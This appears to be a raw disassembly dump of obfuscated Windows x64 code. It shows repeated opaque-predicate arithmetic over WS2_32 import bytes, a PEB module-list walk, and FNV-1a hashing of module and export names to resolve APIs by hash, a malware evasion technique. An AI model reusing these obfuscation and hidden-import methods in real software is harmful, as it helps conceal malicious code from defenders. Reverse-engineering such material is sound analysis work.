movsx ebx, al
movsx edx, byte [0x140341580]
imul edx, r10d
shl edx, 3
sub edx, r11d
add edx, ebx
movsx eax, byte [reloc.WS2_32.dll_closesocket]
add eax, edx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010aa6b
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14010aa6b
mov r9d, 9
jmp 0x14010ab03
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010aafe
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x14010ab03
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14010af67
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x14015ac48]
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010abdf
movsx ecx, byte [0x140341580]
imul ecx, r10d
lea edx, [rcx + rcx*4]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
jne 0x14010ac38
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010ac38
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x68]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010b0d7
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010ad70
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x14010ae0a
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010ae02
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x14010ae06
mov eax, dword [rsp + 0x78]
mov qword [rbp - 0x48], rax
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
mov r14, qword [rbp - 0x48]
imul eax, r14d
test eax, eax
je 0x14010b0d7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, r9d
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010af01
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x14010b0d7
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov rdi, qword [rbp - 0x80]
cmp eax, ecx
je 0x14010b0db
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x68]
jmp 0x14010b0db
mov rdx, qword [0x140342ec8]
test rdx, rdx
jne 0x140109c17
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r15d, 0x811c9dc5
test edi, edi
je 0x14010afdc
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x14010afcf
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010afc0
cmp edx, edi
jne 0x14010b0b6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010b0b6
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010b0b6
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r14]
add r8, r9
mov edx, r15d
jmp 0x14010b02e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010b023
cmp edx, dword [rbp - 0x74]
je 0x14010b044
test r11d, r11d
jne 0x14010b010
jmp 0x14010b0b6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140109c10
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140109c10
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x74], ecx
jmp 0x14010b08d
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010b07f
inc rdx
mov al, byte [rdx]
test al, al
je 0x14010b0b3
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14010b09c
mov dword [rbp - 0x74], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140109c0d
cmp qword [rax + 0x30], r12
jne 0x14010af91
jmp 0x140109c0d
xor r12d, r12d
mov rdi, qword [rbp - 0x80]
mov rax, qword [rbp + 0x20]
movabs rcx, 0xff00ff00ff00ff07
xor rax, rcx
lea rcx, [rbp + 0x178]
mov qword [rcx], rax
mov rbx, qword [rbp + 0x18]
mov rdx, qword [rbx + 0x18]
mov esi, 0x1000
mov r13d, reloc.WS2_32.dll_ntohs
cmp rdx, r13
jbe 0x14010b13a
mov rcx, qword [rbx]
inc rdx
cmp rdx, rsi
jb 0x14010b135
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14010b1ba
mov rcx, r8
call fcn.1401428ac
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r13
mov byte [rbx], r12b
mov rdx, qword [rdi + 0x18]
cmp rdx, r13
jbe 0x14010b176
inc rdx
mov rcx, qword [rdi]
cmp rdx, rsi
jb 0x14010b171
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14010b1c1
mov rcx, r8
call fcn.1401428ac
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], r13
mov byte [rdi], r12b
mov rcx, qword [rbp + 0x108]
xor rcx, rsp
call fcn.140142710
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm9, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3